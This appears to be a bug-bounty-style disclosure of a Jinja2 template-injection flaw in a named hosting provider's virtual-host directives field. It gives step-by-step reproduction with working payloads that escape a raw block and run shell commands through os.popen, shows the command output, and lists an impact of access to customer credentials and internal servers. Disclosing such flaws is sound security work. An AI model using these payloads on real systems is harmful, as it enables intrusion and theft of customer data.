The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.
Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)
Step 2 — Go to Web → Sites → click the edit icon on your site
Step 3 — Scroll to "Additional directives of the virtual host" and enter:
# {% endraw %}7_7{% raw %}
Step 4 — Click Submit
Step 5 — SSH into your account:
ssh <account>@ssh-<account>.alwaysdata.net
Step 6 — Read the generated config:
cat ~/admin/config/apache/sites.conf | head -30
Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)
Step 8 — Go back to site edit, replace the payload with:
# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}
Step 9 — Submit, then SSH and read the config again. Observe:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
This is the id command output — RCE confirmed.
Step 10 — Replace payload with:
# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}
Step 11 — Submit, SSH, read config. Observe:
# overlord-core
This is the internal hostname of alwaysdata's core management server.
—
Payload Output Proof
7_7 49 SSTI — math evaluated
id uid=33(www-data) RCE — system command executed
hostname overlord-core You're on their core management server
—
This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:
- Read/write files on the core infrastructure server
- Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys
- Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes
- Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and
support tickets
- Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet
Any user with a free account can exploit this. No special privileges required.
